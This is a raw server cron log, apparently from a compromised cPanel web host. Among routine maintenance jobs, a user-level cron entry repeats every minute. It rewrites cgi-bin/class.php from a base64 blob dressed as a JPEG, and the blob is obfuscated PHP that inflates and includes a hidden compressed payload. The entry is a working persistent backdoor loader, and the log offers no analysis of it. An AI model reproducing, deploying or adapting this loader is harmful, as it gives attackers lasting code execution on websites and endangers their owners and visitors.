Sep  7 21:18:01 server CROND[5679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:18:01 server CROND[5680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:18:01 server CROND[5681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:19:01 server CROND[6077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:19:01 server CROND[6079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:19:01 server CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:20:01 server CROND[6489]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:20:01 server CROND[6491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:20:01 server CROND[6492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:20:01 server CROND[6502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:20:01 server CROND[6506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:20:01 server CROND[6501]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:20:01 server CROND[6504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:20:01 server CROND[6500]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:20:01 server CROND[6503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:21:01 server CROND[7643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:21:01 server CROND[7645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:21:01 server CROND[7644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:22:02 server CROND[8028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:22:02 server CROND[8030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:22:02 server CROND[8029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:23:01 server CROND[8404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:23:01 server CROND[8406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:23:01 server CROND[8405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:24:01 server CROND[8782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:24:01 server CROND[8781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:24:01 server CROND[8783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:25:01 server CROND[9164]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:25:01 server CROND[9166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:25:01 server CROND[9168]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:25:01 server CROND[9172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:25:01 server CROND[9167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:25:01 server CROND[9171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:25:01 server CROND[9170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:26:01 server CROND[10149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:26:01 server CROND[10150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:26:01 server CROND[10151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:27:01 server CROND[10559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:27:01 server CROND[10560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:27:01 server CROND[10561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:27:01 server CROND[10562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:28:01 server CROND[10956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:28:01 server CROND[10955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:28:01 server CROND[10957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:29:01 server CROND[11342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:29:01 server CROND[11343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:29:01 server CROND[11344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:30:01 server CROND[11747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:30:01 server CROND[11746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:30:01 server CROND[11751]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:30:01 server CROND[11752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
